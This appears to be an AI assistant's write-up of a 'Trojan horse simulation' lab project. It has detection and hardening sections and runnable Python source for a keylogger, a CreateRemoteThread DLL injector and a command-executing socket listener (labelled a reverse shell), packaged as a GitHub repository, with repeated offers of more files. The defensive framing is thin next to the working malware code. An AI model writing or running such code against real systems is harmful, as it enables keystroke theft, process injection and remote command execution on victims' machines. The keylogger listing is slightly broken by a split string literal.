Trojan Horse Simulation Project

1. Project Title

Trojan Horse Simulation: Malware Behavior Analysis & Defensive Techniques

---

2. Objective

This project aims to simulate real-world Trojan horse malware behavior in a controlled lab environment. The simulation includes: - Keylogging functionality - DLL Injection technique - Remote shell execution

Additionally, the project demonstrates how security tools and defensive mechanisms detect and prevent such malicious operations.

---

3. Project Overview

A Trojan horse is malware disguised as legitimate software. In this simulation, a custom-built Trojan demonstrates three major malicious capabilities while running inside a safe virtual machine environment.

The project is divided into: 1. **Trojan Development** (Educational simulation) 2. **Execution & Behavior Observation** 3. **Detection & Prevention Workflows**

---

4. Environment Setup

Tools & Technologies

- **Programming Language:** Python / C++ (for malware simulation)
- **Virtualization:** VirtualBox / VMware
- **Windows 10 VM** (isolated)
- **Sysinternals Suite** (Process Monitor, Process Explorer)
- **Wireshark** (Network monitoring)
- **ELK Stack / Splunk** (Optional SIEM integration)
- **Windows Defender / Any AV tool**

---

5. Module 1: Keylogging Simulation

Goal: Capture and log user keystrokes.

Implementation Flow:

1. Script hooks into keyboard events.
2. Logs keystrokes to a hidden file.
3. Simulated exfiltration (local only — no real outbound connections).

Detection Demonstration:

- Use Windows Defender to detect unauthorized keylogger behavior.
- Observe suspicious behavior using **Process Monitor**.
- SIEM alert on abnormal file write operations.

---

6. Module 2: DLL Injection Simulation

Goal: Inject a simulated malicious DLL into a running process.

Technique:

- CreateRemoteThread + LoadLibraryA (simulation)

Execution Steps:

1. Compile a dummy DLL performing a basic message-box function.
2. Injector tool attaches to a benign process.
3. DLL is successfully injected and executed.

Detection Demonstration:

- Identify injection through **Process Explorer** DLL view.
- Monitor CreateRemoteThread calls using **Sysmon Event ID 8**.
- SIEM alert on cross-process memory operations.

---

7. Module 3: Reverse Shell Simulation

Goal: Establish a local shell representing command execution capability.

Implementation Flow:

1. Trojan opens a local port and listens.
2. Simulated attacker connects locally (no external connections).
3. Basic commands executed inside sandbox environment.

Detection Demonstration:

• Wireshark shows suspicious local traffic.
• Sysmon logs process creations and network connections.
• Windows Defender triggers suspicious behavior alerts.

---

8. Detection & Prevention Workflow Demonstrated

1. Behavioral Monitoring

• Unusual keystroke logging patterns.
• Unauthorized DLL injection.
• Command execution via shell.

2. Antivirus Response

• Real-time detection of keylogging APIs.
• Flagging DLL injection signatures.

3. Logging & SIEM Alerts

• Sysmon + ELK dashboard showing malicious events.
• Alerts triggered based on behavioral analytics.

4. Hardening Recommendations

• Enable ASLR & DEP.
• Use application whitelisting.
• Enable advanced logging.
• Block unsigned DLL loads.

---

9. Project Output / Deliverables

1. Code Files:

• Keylogger module
• DLL injector & dummy DLL
• Reverse shell script

2. Documentation:

• Step-by-step execution guide
• Screenshots of detection tools
• SIEM alert dashboard

3. Report:

- Summary of malware behavior
- Detection and prevention evaluation

---

10. Conclusion

This project demonstrates how common Trojan malware techniques operate and how defensive tools can detect and prevent them. By simulating keylogging, DLL injection, and shell execution, security analysts gain hands-on practical experience with both offensive and defensive cybersecurity concepts.

If you want, I can also add: ✔️Source code (Python / C++) ✔️Diagram of malware workflow ✔️Screenshots section placeholder ✔️README file for GitHub

---

11. Source Code (Python)

11.1 Keylogger Module (Simulation)

```
import pynput
from pynput.keyboard import Listener

def on_press(key):
    with open("keylog.txt", "a") as file:
        file.write(str(key) + "
")

with Listener(on_press=on_press) as listener:
    listener.join()
```

11.2 DLL Injection (Simulation in Python)

```
import ctypes
import sys
import time

PROCESS_ALL_ACCESS = 0x1F0FFF

def inject_dll(pid, dll_path):
    kernel32 = ctypes.windll.kernel32
    process = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, pid)

    allocated = kernel32.VirtualAllocEx(process, None, len(dll_path), 0x3000,
0x40)
    kernel32.WriteProcessMemory(process, allocated, dll_path.encode(),
len(dll_path), None)

    h_kernel32 = kernel32.GetModuleHandleW("kernel32.dll")
    h_loadlib = kernel32.GetProcAddress(h_kernel32, b"LoadLibraryA")

    kernel32.CreateRemoteThread(process, None, 0, h_loadlib, allocated, 0, None)
    kernel32.CloseHandle(process)

inject_dll(1234, "C:\malicious\dummy.dll")
```

11.3 Reverse Shell Simulation (Local Only)

```
import socket
import subprocess

listener = socket.socket()
listener.bind(("127.0.0.1", 4444))
listener.listen(1)

conn, addr = listener.accept()

while True:
    command = conn.recv(1024).decode()
    if command.lower() == "exit":
        break
    output = subprocess.getoutput(command)
    conn.send(output.encode())

conn.close()
```

---

12. Architecture / Workflow Diagram

```
[Trojan Simulation]
       |
       +-- Keylogger --> Keylog File --> Detection via Sysmon / AV
```

```
        |
        +-- DLL Injection --> Process Explorer / Sysmon Alert
        |
        +-- Reverse Shell --> Local Traffic --> Wireshark / Defender Alert
```

---

13. Screenshots Placeholder Section

- Insert screenshots here:
- Process Monitor logs
- Sysmon Event ID 8 (DLL injection)
- Wireshark local traffic capture
- Defender detection alert

---

14. README.md (GitHub Ready)

```
# Trojan Horse Malware Simulation
A controlled-lab simulation demonstrating malware behavior such as:
- Keylogging
- DLL Injection
- Reverse Shell

## Features
✔️ Safe & sandboxed
✔️ No real external connections
✔️ Includes detection & prevention workflows

## Setup
1. Create a Windows VM
2. Install Sysinternals, Sysmon, Wireshark
3. Run each module independently

## Disclaimer
This project is for **educational and research purposes only**.
Do NOT deploy outside controlled environments.
```

---

15. Interview Presentation (PPT Outline)

Slide 1: Title

- Trojan Horse Simulation Project

Slide 2: Objectives

- Malware technique demonstration
- Defensive detection workflow

Slide 3: Modules Overview

- Keylogger
- DLL Injection
- Reverse Shell

Slide 4: Detection Tools

- Sysmon
- Process Explorer
- Wireshark
- Windows Defender

Slide 5: Findings

- All malicious actions logged and detected

Slide 6: Conclusion

- Practical understanding of both attack & defense

If you'd like, I can also export this as **PDF**, **PPT**, or **GitHub repository structure**.

---

16. GitHub Repository Structure (Complete Project Setup)

```
Trojan-Horse-Simulation/
│
├── README.md
```

```
│
├── src/
│   ├── keylogger/
│   │   ├── keylogger.py
│   │   └── notes.txt
│   │
│   ├── dll_injection/
│   │   ├── injector.py
│   │   ├── dummy.dll (placeholder)
│   │   └── compile_instructions.txt
│   │
│   ├── reverse_shell/
│       ├── reverse_shell.py
│       └── listener.py
│
├── detection/
│   ├── sysmon_config.xml
│   ├── sample_sysmon_logs.txt
│   ├── defender_alerts.png (placeholder)
│   ├── Wireshark_capture.pcap (placeholder)
│   └── process_monitor_output.csv
│
├── documentation/
│   ├── Project_Report.pdf (to be generated)
│   ├── Architecture_Diagram.png (placeholder)
│   ├── Screenshots/
│   │   ├── procexp_dll_view.png
│   │   ├── sysmon_event_8.png
│   │   └── wireshark_traffic.png
│   └── Interview_Presentation.pptx (to be generated)
│
└── environment/
    ├── VM_setup_instructions.md
    ├── sysinternals_tools_list.txt
    └── windows_defender_exclusions.txt
```

Folder Breakdown

1. src/

Contains all malware simulation code: - Keylogger - DLL Injector + Dummy DLL placeholder - Reverse shell + listener

2. detection/

Contains logs, Sysmon config, alerts, and monitoring output.

3. documentation/

Contains **project report, diagrams, screenshots, PPT** (or placeholders).

4. environment/

Holds instructions to set up the analysis environment.

If you want, I can now generate: **Actual files** (README.md, folder structure files, code files) **Export complete GitHub repo as a ZIP** **Generate PDF & PPTX** Just tell me which one you want next.